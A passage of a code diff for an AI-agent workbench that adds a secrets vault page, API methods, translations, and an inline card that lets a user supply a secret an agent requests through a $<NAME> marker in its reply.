+ assert vs.get_envelope(conn, "NEW_KEY") == _sealed("filled")
+ status = conn.execute(select(vault_requests.c.status).where(vault_requests.c.id == req["id"])).scalar_one()
+ assert status == "fulfilled"
diff --git a/ui/src/components/settings/SettingsDependenciesPage.tsx b/ui/src/components/settings/SettingsDependenciesPage.tsx
index 6354cb461..bdba7872a 100644
--- a/ui/src/components/settings/SettingsDependenciesPage.tsx
+++ b/ui/src/components/settings/SettingsDependenciesPage.tsx
@@ -1,7 +1,18 @@
import React, { useCallback, useEffect, useState } from 'react';
import { Link } from 'react-router-dom';
import { useTranslation } from 'react-i18next';
-import { ArrowUpRight, Download, Hexagon, LayoutDashboard, Loader2, RefreshCw, ShieldCheck, Terminal, WandSparkles } from 'lucide-react';
+import {
+ ArrowUpRight,
+ Download,
+ Hexagon,
+ KeyRound,
+ LayoutDashboard,
+ Loader2,
+ RefreshCw,
+ ShieldCheck,
+ Terminal,
+ WandSparkles,
+} from 'lucide-react';
import type { LucideIcon } from 'lucide-react';
import { Button } from '../ui/button';
@@ -23,6 +34,7 @@ type DepMeta = { icon: LucideIcon; tileCls: string; iconCls: string };
const DEP_META: Record<string, DepMeta> = {
askill: { icon: WandSparkles, tileCls: 'bg-mint-soft', iconCls: 'text-mint' },
+ avault: { icon: KeyRound, tileCls: 'bg-gold-soft', iconCls: 'text-gold' },
'show-runtime': { icon: LayoutDashboard, tileCls: 'bg-cyan-soft', iconCls: 'text-cyan' },
node: { icon: Hexagon, tileCls: 'bg-violet-soft', iconCls: 'text-violet' },
};
@@ -96,7 +108,7 @@ export const SettingsDependenciesPage: React.FC = () => {
{deps.map((d) => {
const meta = DEP_META[d.id] ?? DEP_META.node;
const installing = busy === d.id;
- const showAction = d.id === 'askill' || d.id === 'show-runtime';
+ const showAction = d.id === 'askill' || d.id === 'avault' || d.id === 'show-runtime';
return (
<SettingsResourceRow
key={d.id}
diff --git a/ui/src/components/ui/markdown.tsx b/ui/src/components/ui/markdown.tsx
index b7292438d..9179f2875 100644
--- a/ui/src/components/ui/markdown.tsx
+++ b/ui/src/components/ui/markdown.tsx
@@ -6,6 +6,7 @@ import remarkBreaks from 'remark-breaks';
import { Badge } from '@/components/ui/badge';
import { ChatImage, LinkedImageProvider } from '@/components/ui/chat-image';
import { FileCard } from '@/components/ui/file-card';
+import { SecretRequestCard } from '@/components/ui/secret-request-card';
import { isProxyMediaUrl, readMediaDims } from '@/lib/mediaProxy';
import {
MENTION_LINK_SCHEME,
@@ -32,10 +33,45 @@ import { cn } from '@/lib/utils';
// echoes with its line breaks intact while still formatting explicit markdown;
// leave it off for authored markdown (agent replies) where wrapped lines must
// not sprout stray hard breaks.
-// Keep react-markdown's URL sanitizer from stripping our custom mention scheme
-// (it allows only http/https/mailto/tel/relative by default).
+
+// Vault dynamic-ask: an agent reply may contain `$<OPENAI_API_KEY>`. When interactive,
+// we rewrite each marker (outside code) to an `avibe-secret:NAME` link that the `a` handler
+// renders as an inline SecretRequestCard. Fenced/inline code spans AND indented (≥4-space / tab)
+// code lines are left verbatim so a marker shown in any code example never becomes a real
+// input card.
+const SECRET_LINK_SCHEME = 'avibe-secret';
+const SECRET_REQUEST_RE = /\$<([A-Z][A-Z0-9_]*)>/g;
+const CODE_SPAN_RE = /```[\s\S]*?```|~~~[\s\S]*?~~~|`[^`\n]*`/g;
+const INDENTED_CODE_LINE_RE = /^(?: {4}|\t)/;
+
+function linkifySecretRequests(text: string): string {
+ if (!text.includes('$<')) return text;
+ // Within a non-fenced/non-inline-code segment, still skip indented code lines.
+ const rewrite = (segment: string) =>
+ segment
+ .split('\n')
+ .map((line) =>
+ INDENTED_CODE_LINE_RE.test(line)
+ ? line
+ : line.replace(SECRET_REQUEST_RE, (_m, name) => `[${name}](${SECRET_LINK_SCHEME}:${name})`),
+ )
+ .join('\n');
+ // Partition on code spans; rewrite only the non-code segments (code stays verbatim).
+ let result = '';
+ let last = 0;
+ CODE_SPAN_RE.lastIndex = 0;
+ for (let m = CODE_SPAN_RE.exec(text); m; m = CODE_SPAN_RE.exec(text)) {
+ result += rewrite(text.slice(last, m.index)) + m[0];
+ last = m.index + m[0].length;
+ }
+ return result + rewrite(text.slice(last));
+}
+
+// Keep react-markdown's URL sanitizer from stripping our custom schemes (it allows
+// only http/https/mailto/tel/relative by default).
function mentionUrlTransform(url: string): string {
- return url.startsWith(`${MENTION_LINK_SCHEME}:`) ? url : defaultUrlTransform(url);
+ if (url.startsWith(`${MENTION_LINK_SCHEME}:`) || url.startsWith(`${SECRET_LINK_SCHEME}:`)) return url;
+ return defaultUrlTransform(url);
}
export const Markdown: React.FC<{
@@ -46,7 +82,12 @@ export const Markdown: React.FC<{
/** Mention sidecar — when present, `@<name>` / `#<id>` markers in `content`
* render as inline chips (see lib/mentions). */
references?: MentionReference[];
-}> = ({ content, className, interactive = true, softBreaks = false, references }) => {
+ /** Opt-in: render `$<NAME>` dynamic-ask markers as interactive SecretRequestCards. ONLY the
+ * agent-reply surface sets this — user bubbles, previews, and docs must NOT, or user-authored
+ * or quoted text could mint an "agent asked for this secret" card that creates a vault
+ * secret on click. */
+ secretRequests?: boolean;
+}> = ({ content, className, interactive = true, softBreaks = false, references, secretRequests = false }) => {
// Stable ``remarkPlugins`` + ``components`` identities across re-renders.
// ReactMarkdown keys its rendered tree on the component functions it is handed;
// the old inline object minted fresh functions every render, so ReactMarkdown
@@ -109,6 +150,13 @@ export const Markdown: React.FC<{
</Badge>
);
}
+ // Vault `$<NAME>` dynamic-ask marker → inline secure-input card. Gated on
+ // ``secretRequests`` (agent-reply surface only), NOT just ``interactive`` — otherwise a
+ // user who literally typed `[x](avibe-secret:FOO)` in their own bubble could mint a card.
+ if (url.startsWith(`${SECRET_LINK_SCHEME}:`)) {
+ const name = url.slice(SECRET_LINK_SCHEME.length + 1);
+ return secretRequests ? <SecretRequestCard name={name} /> : <span>{children}</span>;
+ }
if (interactive && url && isProxyMediaUrl(url)) {
return <FileCard href={url}>{children}</FileCard>;
}
@@ -132,14 +180,16 @@ export const Markdown: React.FC<{
),
}),
}),
- [interactive],
+ [interactive, secretRequests],
);
// Mention markers are rewritten to `avibe-mention:` links BEFORE markdown sees
// them, and only when a sidecar is present — agent replies (no references) skip
// this so their code spans are never touched. The links render as chips via the
- // `a` map.
- const rendered = references && references.length ? linkifyMentions(content, references) : content;
+ // `a` map. Secret `$<NAME>` markers are rewritten too, but only on the agent-reply surface
+ // (secretRequests) — user bubbles / previews / docs keep them as plain text.
+ let rendered = references && references.length ? linkifyMentions(content, references) : content;
+ if (secretRequests) rendered = linkifySecretRequests(rendered);
return (
<div className={cn('vr-markdown', className)}>
<ReactMarkdown
diff --git a/ui/src/components/ui/secret-request-card.tsx b/ui/src/components/ui/secret-request-card.tsx
new file mode 100644
index 000000000..1f0f87971
--- /dev/null
+++ b/ui/src/components/ui/secret-request-card.tsx
@@ -0,0 +1,99 @@
+import { useState } from 'react';
+import { KeyRound } from 'lucide-react';
+import { useTranslation } from 'react-i18next';
+import { Badge, badgeVariants } from './badge';
+import { Button } from './button';
+import { Input } from './input';
+import { Dialog, DialogContent, DialogHeader, DialogTitle } from './dialog';
+import { useApi } from '@/context/ApiContext';
+import { useToast } from '@/context/ToastContext';
+import { cn } from '@/lib/utils';
+
+/**
+ * Inline rendering of a `$<NAME>` dynamic-ask marker in an agent message. The agent
+ * asked for a secret; the user provides it here over TLS — the value goes straight to
+ * the vault via the normal create endpoint and never re-enters the chat transcript.
+ * Self-contained (its own dialog) so it can live inline inside the markdown renderer.
+ */
+export const SecretRequestCard: React.FC<{ name: string }> = ({ name }) => {
+ const { t } = useTranslation();
+ const api = useApi();
+ const { showToast } = useToast();
+ const [open, setOpen] = useState(false);
+ const [value, setValue] = useState('');
+ const [saved, setSaved] = useState(false);
+ const [saving, setSaving] = useState(false);
+ const [err, setErr] = useState<string | null>(null);
+
+ const submit = async () => {
+ setSaving(true);
+ setErr(null);
+ try {
+ // handleError:false → no global error toast and the structured body is returned, so we
+ // branch on the API code instead of regex-matching a generic "Request failed (409)".
+ const res = await api.createVaultSecret({ name, value }, { handleError: false });
+ if (res?.ok || res?.code === 'secret_exists') {
+ // Saved now, or already in the vault from another surface — either way the ask is done.
+ setSaved(true);
+ setOpen(false);
+ showToast(t('vaults.created', { name }), 'success');
+ } else {
+ setErr(res?.message ?? t('vaults.request.saveFailed'));
+ }
+ } catch (e: any) {
+ // Network/transport failure (createVaultSecret didn't reach a structured response).
+ setErr(e?.message ?? t('vaults.request.saveFailed'));
+ } finally {
+ setSaving(false);
+ }
+ };
+
+ if (saved) {
+ return (
+ <Badge variant="success" className="align-baseline font-medium">
+ ✓ {name}
+ </Badge>
+ );
+ }
+
+ return (
+ <>
+ <button
+ type="button"
+ onClick={() => setOpen(true)}
+ className={cn(badgeVariants({ variant: 'warning' }), 'cursor-pointer align-baseline font-medium')}
+ >
+ <KeyRound className="mr-1 inline size-3" />
+ {name} — {t('vaults.request.provide')}
+ </button>
+ <Dialog open={open} onOpenChange={setOpen}>
+ <DialogContent>
+ <DialogHeader>
+ <DialogTitle>{t('vaults.request.title', { name })}</DialogTitle>
+ </DialogHeader>
+ <div className="flex flex-col gap-3">
+ <p className="text-sm text-muted">{t('vaults.request.help')}</p>
+ {err && (
+ <div className="rounded-lg border border-destructive/40 bg-destructive/10 px-3 py-2 text-sm text-destructive">{err}</div>
+ )}
+ <Input
+ type="password"
+ value={value}
+ onChange={(e) => setValue(e.target.value)}
+ placeholder={t('vaults.dialog.valuePlaceholder')}
+ autoFocus
+ />
+ <div className="flex justify-end gap-2">
+ <Button variant="ghost" onClick={() => setOpen(false)}>
+ {t('vaults.dialog.cancel')}
+ </Button>
+ <Button onClick={submit} disabled={saving || !value}>
+ {t('vaults.dialog.save')}
+ </Button>
+ </div>
+ </div>
+ </DialogContent>
+ </Dialog>
+ </>
+ );
+};
diff --git a/ui/src/components/workbench/ChatPage.tsx b/ui/src/components/workbench/ChatPage.tsx
index 510b8ce96..9ea2618f6 100644
--- a/ui/src/components/workbench/ChatPage.tsx
+++ b/ui/src/components/workbench/ChatPage.tsx
@@ -2251,6 +2251,9 @@ const MessageRow = memo(function MessageRow({ message, session, messageFontSize,
content={message.text}
softBreaks={isUser || isHarness}
references={(message.content as { references?: MentionReference[] } | null)?.references}
+ // Only the agent's own replies may render `$<NAME>` as an interactive secret-input card;
+ // user/harness/system bubbles with the marker stay plain text (no false "agent asked" card).
+ secretRequests={isAgent}
className="vr-markdown--inherit-size"
/>
) : messageAttachments.length === 0 ? (
diff --git a/ui/src/components/workbench/VaultsPage.tsx b/ui/src/components/workbench/VaultsPage.tsx
index c900db3ff..6a98ab73b 100644
--- a/ui/src/components/workbench/VaultsPage.tsx
+++ b/ui/src/components/workbench/VaultsPage.tsx
@@ -1,10 +1,241 @@
-import { KeyRound } from 'lucide-react';
-import { WorkbenchModulePlaceholder } from './WorkbenchModulePlaceholder';
+import { useCallback, useEffect, useState } from 'react';
+import { History, KeyRound, Loader2, Plus, RefreshCw, Trash2 } from 'lucide-react';
+import { useTranslation } from 'react-i18next';
import { CapabilityTabs } from './CapabilityTabs';
+import { WorkbenchPageHeader } from './WorkbenchPageHeader';
+import { Badge } from '../ui/badge';
+import { Button } from '../ui/button';
+import { Input } from '../ui/input';
+import { Dialog, DialogContent, DialogHeader, DialogTitle } from '../ui/dialog';
+import { useApi, type VaultAuditEvent, type VaultSecret } from '../../context/ApiContext';
+import { useToast } from '../../context/ToastContext';
-export const VaultsPage: React.FC = () => (
- <div className="mx-auto flex w-full max-w-[1200px] flex-col gap-5 py-2">
- <CapabilityTabs />
- <WorkbenchModulePlaceholder icon={<KeyRound className="size-6" />} i18nPrefix="workbench.modules.vaults" />
- </div>
-);
+const AddSecretDialog: React.FC<{ onClose: () => void; onSaved: () => void }> = ({ onClose, onSaved }) => {
+ const { t } = useTranslation();
+ const api = useApi();
+ const { showToast } = useToast();
+ const [name, setName] = useState('');
+ const [value, setValue] = useState('');
+ const [group, setGroup] = useState('');
+ const [description, setDescription] = useState('');
+ const [allowHosts, setAllowHosts] = useState('');
+ const [saving, setSaving] = useState(false);
+ const [err, setErr] = useState<string | null>(null);
+
+ const submit = async () => {
+ setSaving(true);
+ setErr(null);
+ try {
+ const policy: Record<string, unknown> = {};
+ const hosts = allowHosts.split(',').map((h) => h.trim()).filter(Boolean);
+ if (hosts.length) policy.allowed_hosts = hosts;
+ await api.createVaultSecret({
+ name: name.trim(),
+ value,
+ group: group.trim() || undefined,
+ description: description.trim() || undefined,
+ policy: Object.keys(policy).length ? policy : undefined,
+ });
+ showToast(t('vaults.created', { name: name.trim() }), 'success');
+ onSaved();
+ } catch (e: any) {
+ setErr(e?.message ?? String(e));
+ } finally {
+ setSaving(false);
+ }
+ };
+
+ return (
+ <Dialog
+ open
+ onOpenChange={(o) => {
+ if (!o) onClose();
+ }}
+ >
+ <DialogContent>
+ <DialogHeader>
+ <DialogTitle>{t('vaults.dialog.title')}</DialogTitle>
+ </DialogHeader>
+ <div className="flex flex-col gap-3">
+ {err && (
+ <div className="rounded-lg border border-destructive/40 bg-destructive/10 px-3 py-2 text-sm text-destructive">{err}</div>
+ )}
+ <label className="flex flex-col gap-1 text-sm">
+ <span className="text-xs font-medium text-muted">{t('vaults.dialog.name')}</span>
+ <Input value={name} onChange={(e) => setName(e.target.value.toUpperCase())} placeholder="OPENAI_API_KEY" autoFocus />
+ </label>
+ <label className="flex flex-col gap-1 text-sm">
+ <span className="text-xs font-medium text-muted">{t('vaults.dialog.value')}</span>
+ <Input type="password" value={value} onChange={(e) => setValue(e.target.value)} placeholder={t('vaults.dialog.valuePlaceholder')} />
+ </label>
+ <label className="flex flex-col gap-1 text-sm">
+ <span className="text-xs font-medium text-muted">{t('vaults.dialog.group')}</span>
+ <Input value={group} onChange={(e) => setGroup(e.target.value)} placeholder="default" />
+ </label>
+ <label className="flex flex-col gap-1 text-sm">
+ <span className="text-xs font-medium text-muted">{t('vaults.dialog.description')}</span>
+ <Input value={description} onChange={(e) => setDescription(e.target.value)} />
+ </label>
+ <label className="flex flex-col gap-1 text-sm">
+ <span className="text-xs font-medium text-muted">{t('vaults.dialog.allowHosts')}</span>
+ <Input value={allowHosts} onChange={(e) => setAllowHosts(e.target.value)} placeholder="api.github.com, .example.com" />
+ <span className="text-xs text-muted">{t('vaults.dialog.allowHostsHelp')}</span>
+ </label>
+ <div className="mt-2 flex justify-end gap-2">
+ <Button variant="ghost" onClick={onClose}>
+ {t('vaults.dialog.cancel')}
+ </Button>
+ <Button onClick={submit} disabled={saving || !name.trim() || !value}>
+ {saving ? <Loader2 className="size-4 animate-spin" /> : null}
+ {t('vaults.dialog.save')}
+ </Button>
+ </div>
+ </div>
+ </DialogContent>
+ </Dialog>
+ );
+};
+
+export const VaultsPage: React.FC = () => {
+ const { t } = useTranslation();
+ const api = useApi();
+ const { showToast } = useToast();
+ const [secrets, setSecrets] = useState<VaultSecret[]>([]);
+ const [loading, setLoading] = useState(false);
+ const [error, setError] = useState<string | null>(null);
+ const [adding, setAdding] = useState(false);
+ const [showAudit, setShowAudit] = useState(false);
+ const [audit, setAudit] = useState<VaultAuditEvent[]>([]);
+
+ const refresh = useCallback(async () => {
+ setLoading(true);
+ setError(null);
+ try {
+ const res = await api.listVaultSecrets();
+ setSecrets(res.secrets ?? []);
+ } catch (err: any) {
+ setError(err?.message ?? String(err));
+ } finally {
+ setLoading(false);
+ }
+ }, [api]);
+
+ useEffect(() => {
+ refresh();
+ }, [refresh]);
+
+ const toggleAudit = useCallback(async () => {
+ const next = !showAudit;
+ setShowAudit(next);
+ if (next) {
+ try {
+ const res = await api.getVaultAudit({ limit: 50 });
+ setAudit(res.events ?? []);
+ } catch (err: any) {
+ setError(err?.message ?? String(err));
+ }
+ }
+ }, [api, showAudit]);
+
+ const onDelete = async (name: string) => {
+ if (!window.confirm(t('vaults.deleteConfirm', { name }))) return;
+ try {
+ await api.deleteVaultSecret(name);
+ showToast(t('vaults.deleted', { name }), 'success');
+ refresh();
+ } catch (err: any) {
+ setError(err?.message ?? String(err));
+ }
+ };
+
+ return (
+ <div className="mx-auto flex w-full max-w-[1200px] flex-col gap-5 py-2">
+ <CapabilityTabs />
+ <WorkbenchPageHeader
+ icon={<KeyRound className="size-6" />}
+ title={t('vaults.title')}
+ subtitle={t('vaults.subtitle')}
+ actions={
+ <>
+ <Button variant={showAudit ? 'secondary' : 'ghost'} size="icon" onClick={toggleAudit} aria-label={t('vaults.history')}>
+ <History className="size-4" />
+ </Button>
+ <Button variant="ghost" size="icon" onClick={refresh} aria-label={t('vaults.refresh')}>
+ <RefreshCw className="size-4" />
+ </Button>
+ <Button onClick={() => setAdding(true)}>
+ <Plus className="size-4" />
+ {t('vaults.add')}
+ </Button>
+ </>
+ }
+ />
+ {error && (
+ <div className="rounded-xl border border-destructive/40 bg-destructive/10 px-4 py-3 text-sm text-destructive">{error}</div>
+ )}
+ {loading && secrets.length === 0 ? (
+ <div className="flex items-center gap-2 px-1 text-sm text-muted">
+ <Loader2 className="size-4 animate-spin" />
+ {t('vaults.loading')}
+ </div>
+ ) : secrets.length === 0 ? (
+ <div className="rounded-2xl border border-border bg-surface p-8 text-center text-sm text-muted">{t('vaults.empty')}</div>
+ ) : (
+ <div className="flex flex-col gap-2">
+ {secrets.map((s) => (
+ <div key={s.name} className="flex items-center gap-3 rounded-xl border border-border bg-surface px-4 py-3">
+ <KeyRound className="size-4 shrink-0 text-muted" />
+ <div className="flex min-w-0 flex-col">
+ <div className="flex items-center gap-2">
+ <span className="truncate font-mono text-sm font-semibold">{s.name}</span>
+ <Badge variant="secondary">{s.group}</Badge>
+ {s.protection === 'protected' && <Badge variant="warning">{t('vaults.protected')}</Badge>}
+ {Array.isArray((s.policy as { allowed_hosts?: string[] })?.allowed_hosts) &&
+ ((s.policy as { allowed_hosts?: string[] }).allowed_hosts?.length ?? 0) > 0 ? (
+ <Badge variant="info">{t('vaults.proxyBound')}</Badge>
+ ) : null}
+ </div>
+ <span className="text-xs text-muted">
+ {s.preview ? <span className="font-mono">{s.preview}</span> : null}
+ {s.last_used_at ? ` · ${t('vaults.used', { count: s.use_count })}` : ` · ${t('vaults.neverUsed')}`}
+ </span>
+ </div>
+ <div className="ml-auto">
+ <Button variant="ghost" size="icon" onClick={() => onDelete(s.name)} aria-label={t('vaults.delete')}>
+ <Trash2 className="size-4" />
+ </Button>
+ </div>
+ </div>
+ ))}
+ </div>
+ )}
+ {showAudit && (
+ <div className="rounded-2xl border border-border bg-surface p-4">
+ <div className="mb-2 text-sm font-semibold">{t('vaults.audit.title')}</div>
+ {audit.length === 0 ? (
+ <div className="text-sm text-muted">{t('vaults.audit.empty')}</div>
+ ) : (
+ <ul className="flex flex-col gap-1.5">
+ {audit.map((e) => (
+ <li key={e.id} className="flex items-center gap-2 text-xs">
+ <Badge variant="secondary">{e.event}</Badge>
+ {e.secret_name ? <span className="font-mono">{e.secret_name}</span> : null}
+ <span className="ml-auto text-muted">{new Date(e.ts).toLocaleString()}</span>
+ </li>
+ ))}
+ </ul>
+ )}
+ </div>
+ )}
+ {adding && (
+ <AddSecretDialog
+ onClose={() => setAdding(false)}
+ onSaved={() => {
+ setAdding(false);
+ refresh();
+ }}
+ />
+ )}
+ </div>
+ );
+};
diff --git a/ui/src/context/ApiContext.tsx b/ui/src/context/ApiContext.tsx
index 736145818..42bfecf22 100644
--- a/ui/src/context/ApiContext.tsx
+++ b/ui/src/context/ApiContext.tsx
@@ -16,6 +16,32 @@ export type GlobalPromptFile = {
read_error: boolean;
};
+export type VaultSecret = {
+ name: string;
+ group: string;
+ tags: string[];
+ kind: string;
+ protection: string;
+ signer_kind: string | null;
+ source: string;
+ description?: string | null;
+ preview: string;
+ policy: Record<string, unknown>;
+ last_used_at: string | null;
+ use_count: number;
+ created_at: string;
+ updated_at: string;
+};
+
+export type VaultAuditEvent = {
+ id: string;
+ ts: string;
+ event: string;
+ secret_name: string | null;
+ request_id: string | null;
+ grant_id: string | null;
+};
+
export type ApiContextType = {
getConfig: () => Promise<any>;
getPlatformCatalog: () => Promise<any>;
@@ -219,6 +245,10 @@ export type ApiContextType = {
updateVibeAgent: (name: string, payload: VibeAgentUpdatePayload) => Promise<{ ok: boolean; agent: VibeAgentFull }>;
setDefaultVibeAgent: (name: string) => Promise<{ ok: boolean; default_agent_name: string; agent: VibeAgentBrief }>;
removeVibeAgent: (name: string) => Promise<{ ok: boolean; code?: string; message?: string; references?: Record<string, number>; removed_agent?: string }>;
+ listVaultSecrets: (params?: { group?: string }) => Promise<{ ok: boolean; secrets: VaultSecret[] }>;
+ createVaultSecret: (payload: { name: string; value: string; group?: string; description?: string; tags?: string[]; policy?: Record<string, unknown> }, opts?: { handleError?: boolean }) => Promise<{ ok: boolean; secret?: VaultSecret; code?: string; message?: string }>;
+ deleteVaultSecret: (name: string) => Promise<{ ok: boolean; removed?: boolean; code?: string; message?: string }>;
+ getVaultAudit: (params?: { secret?: string; limit?: number }) => Promise<{ ok: boolean; events: VaultAuditEvent[] }>;
importVibeAgents: (payload: { from?: 'claude' | 'codex' | 'opencode'; name?: string; all?: boolean; file?: string; backend?: string }) => Promise<{ ok: boolean; imported?: any[]; skipped?: any[]; error?: string; code?: string; message?: string }>;
// Agent Skills — thin shells over the askill CLI (see /api/skills*).
listSkills: (params?: { scope?: SkillScope | 'all'; projectId?: string; backends?: string[] }) => Promise<SkillsListResult>;
@@ -1215,16 +1245,16 @@ export const ApiProvider: React.FC<{ children: React.ReactNode }> = ({ children
try {
const data = await res.json();
- if (data.error) {
- // ``error`` may be a plain string (an errors.<key> code) or a
- // structured ``{ code, message }`` object (project-scoped routes).
- // Localize by code, falling back to the server-provided message so we
- // never render a key like ``errors.[object Object]``.
- const code = typeof data.error === 'string' ? data.error : data.error?.code;
+ // Accept the legacy ``error`` shape (string code or ``{ code, message }``) AND the
+ // top-level ``{ code, message }`` shape newer routes use (e.g. /api/vault/*), so callers
+ // always get a real ``ApiError.code`` to branch on instead of a generic status string.
+ const rawErr = data.error ?? (data.code ? { code: data.code, message: data.message } : undefined);
+ if (rawErr) {
+ // Localize by code, falling back to the server-provided message so we never render a
+ // key like ``errors.[object Object]``.
+ const code = typeof rawErr === 'string' ? rawErr : rawErr?.code;
const fallback =
- typeof data.error === 'string'
- ? data.error
- : data.error?.message ?? data.error?.code ?? errorMessage;
+ typeof rawErr === 'string' ? rawErr : rawErr?.message ?? rawErr?.code ?? errorMessage;
errorCode = typeof code === 'string' ? code : null;
errorMessage = errorCode ? t(`errors.${errorCode}`, { defaultValue: fallback }) : fallback;
}
@@ -1441,12 +1471,17 @@ export const ApiProvider: React.FC<{ children: React.ReactNode }> = ({ children
return { res, payloadJson };
};
- const postJson = async (path: string, payload: any) => {
- const { payloadJson } = await requestJson(path, {
- method: 'POST',
- headers: { 'Content-Type': 'application/json' },
- body: JSON.stringify(payload),
- });
+ const postJson = async (path: string, payload: any, opts?: { handleError?: boolean }) => {
+ const { payloadJson } = await requestJson(
+ path,
+ {
+ method: 'POST',
+ headers: { 'Content-Type': 'application/json' },
+ body: JSON.stringify(payload),
+ },
+ path,
+ opts,
+ );
return payloadJson;
};
@@ -1850,6 +1885,21 @@ export const ApiProvider: React.FC<{ children: React.ReactNode }> = ({ children
},
setDefaultVibeAgent: (name) => postJson('/api/agents/default', { name }),
removeVibeAgent: (name) => deleteJson(`/api/agents/${encodeURIComponent(name)}`),
+ listVaultSecrets: (params) => {
+ const search = new URLSearchParams();
+ if (params?.group) search.set('group', params.group);
+ const qs = search.toString();
+ return getCachedJson(qs ? `/api/vault/secrets?${qs}` : '/api/vault/secrets', 1500);
+ },
+ createVaultSecret: (payload, opts) => postJson('/api/vault/secrets', payload, opts),
+ deleteVaultSecret: (name) => deleteJson(`/api/vault/secrets/${encodeURIComponent(name)}`),
+ getVaultAudit: (params) => {
+ const search = new URLSearchParams();
+ if (params?.secret) search.set('secret', params.secret);
+ if (params?.limit) search.set('limit', String(params.limit));
+ const qs = search.toString();
+ return getCachedJson(qs ? `/api/vault/audit?${qs}` : '/api/vault/audit', 1500);
+ },
importVibeAgents: (payload) => postJson('/api/agents/import', payload),
listSkills: (params) => {
const search = new URLSearchParams();
diff --git a/ui/src/i18n/en.json b/ui/src/i18n/en.json
index 14b494a61..09d99b0a9 100644
--- a/ui/src/i18n/en.json
+++ b/ui/src/i18n/en.json
@@ -129,9 +129,23 @@
"allPages": "All pages",
"sortedRecent": "Sorted by most recent",
"filterAria": "Filter by visibility",
- "filter": { "online": "Online", "private": "Private", "public": "Public", "offline": "Offline" },
- "status": { "private": "Private", "public": "Public", "offline": "Offline" },
- "col": { "session": "Session", "visibility": "Visibility", "link": "Live link", "updated": "Updated" },
+ "filter": {
+ "online": "Online",
+ "private": "Private",
+ "public": "Public",
+ "offline": "Offline"
+ },
+ "status": {
+ "private": "Private",
+ "public": "Public",
+ "offline": "Offline"
+ },
+ "col": {
+ "session": "Session",
+ "visibility": "Visibility",
+ "link": "Live link",
+ "updated": "Updated"
+ },
"empty": "No Show Pages yet. They appear here once an agent session creates one.",
"emptyFiltered": "No Show Pages match this filter.",
"visibilityLabel": "Visibility",
@@ -158,8 +172,16 @@
"cloudOff": "Avibe Cloud is off — this link only opens on this device.",
"connectCloud": "Connect Avibe Cloud",
"details": "Details",
- "detail": { "session": "Session ID", "workspace": "Workspace", "created": "Created", "updated": "Last updated" },
- "toast": { "updated": "Show Page updated", "rotated": "Share link rotated" }
+ "detail": {
+ "session": "Session ID",
+ "workspace": "Workspace",
+ "created": "Created",
+ "updated": "Last updated"
+ },
+ "toast": {
+ "updated": "Show Page updated",
+ "rotated": "Share link rotated"
+ }
},
"settings": {
"tabs": {
@@ -209,9 +231,22 @@
"backendsDetail": "Claude · OpenCode · Codex — managed in the Backends tab.",
"manageBackends": "Manage in Backends",
"items": {
- "askill": { "label": "askill", "detail": "Agent Skills runtime — powers the Skills page." },
- "show-runtime": { "label": "Show Page runtime", "detail": "Renders visual Show Pages on your machine." },
- "node": { "label": "Node.js", "detail": "Shared prerequisite for the runtimes above." }
+ "askill": {
+ "label": "askill",
+ "detail": "Agent Skills runtime — powers the Skills page."
+ },
+ "avault": {
+ "label": "avault",
+ "detail": "Vault custody core — required for local Vault operations."
+ },
+ "show-runtime": {
+ "label": "Show Page runtime",
+ "detail": "Renders visual Show Pages on your machine."
+ },
+ "node": {
+ "label": "Node.js",
+ "detail": "Shared prerequisite for the runtimes above."
+ }
}
},
"backends": {
@@ -1911,5 +1946,44 @@
"recall": "Recall to input",
"remove": "Remove from queue"
}
+ },
+ "vaults": {
+ "title": "Vaults",
+ "subtitle": "Secrets the agent can use without their values ever entering the conversation.",
+ "add": "Add secret",
+ "refresh": "Refresh",
+ "loading": "Loading…",
+ "empty": "No secrets yet. Add one — the agent retrieves it via the CLI without the value touching the chat.",
+ "protected": "Protected",
+ "proxyBound": "Proxy-bound",
+ "used": "used {{count}}×",
+ "neverUsed": "never used",
+ "delete": "Delete",
+ "deleteConfirm": "Delete secret \"{{name}}\"? Agents will no longer be able to use it.",
+ "deleted": "Deleted {{name}}",
+ "created": "Saved {{name}}",
+ "dialog": {
+ "title": "Add a secret",
+ "name": "Name",
+ "value": "Value",
+ "valuePlaceholder": "Pasted here, encrypted at rest, never echoed back",
+ "group": "Group",
+ "description": "Description",
+ "allowHosts": "Allowed hosts (for vault fetch)",
+ "allowHostsHelp": "Comma-separated. Required to use this secret via the brokered HTTP proxy; '.example.com' matches subdomains.",
+ "save": "Save",
+ "cancel": "Cancel"
+ },
+ "request": {
+ "provide": "provide",
+ "title": "Provide {{name}}",
+ "help": "The agent asked for this secret. It's saved straight to the vault and never re-enters the chat.",
+ "saveFailed": "Couldn't save the secret. Please try again."
+ },
+ "history": "History",
+ "audit": {
+ "title": "Recent activity",
+ "empty": "No activity yet."
+ }
}
}
diff --git a/ui/src/i18n/zh.json b/ui/src/i18n/zh.json
index bd584385a..83fd0dca8 100644
--- a/ui/src/i18n/zh.json
+++ b/ui/src/i18n/zh.json
@@ -129,9 +129,23 @@
"allPages": "全部页面",
"sortedRecent": "按最近活动排序",
"filterAria": "按可见性筛选",
- "filter": { "online": "在线", "private": "私有", "public": "公开", "offline": "已下线" },
- "status": { "private": "私有", "public": "公开", "offline": "已下线" },
- "col": { "session": "会话", "visibility": "可见性", "link": "访问链接", "updated": "更新时间" },
+ "filter": {
+ "online": "在线",
+ "private": "私有",
+ "public": "公开",
+ "offline": "已下线"
+ },
+ "status": {
+ "private": "私有",
+ "public": "公开",
+ "offline": "已下线"
+ },
+ "col": {
+ "session": "会话",
+ "visibility": "可见性",
+ "link": "访问链接",
+ "updated": "更新时间"
+ },
"empty": "暂无展示页面。当 Agent 会话创建展示页面后会显示在这里。",
"emptyFiltered": "没有符合该筛选条件的展示页面。",
"visibilityLabel": "可见性",
@@ -158,8 +172,16 @@
"cloudOff": "Avibe Cloud 未开启——此链接仅能在本机打开。",
"connectCloud": "连接 Avibe Cloud",
"details": "详情",
- "detail": { "session": "会话 ID", "workspace": "工作区", "created": "创建时间", "updated": "最近更新" },
- "toast": { "updated": "展示页面已更新", "rotated": "分享链接已更换" }
+ "detail": {
+ "session": "会话 ID",
+ "workspace": "工作区",
+ "created": "创建时间",
+ "updated": "最近更新"
+ },
+ "toast": {
+ "updated": "展示页面已更新",
+ "rotated": "分享链接已更换"
+ }
},
"settings": {
"tabs": {
@@ -209,9 +231,22 @@
"backendsDetail": "Claude · OpenCode · Codex —— 在 Backends 标签页管理。",
"manageBackends": "前往 Backends",
"items": {
- "askill": { "label": "askill", "detail": "Agent Skills 运行时 —— 驱动 Skills 页面。" },
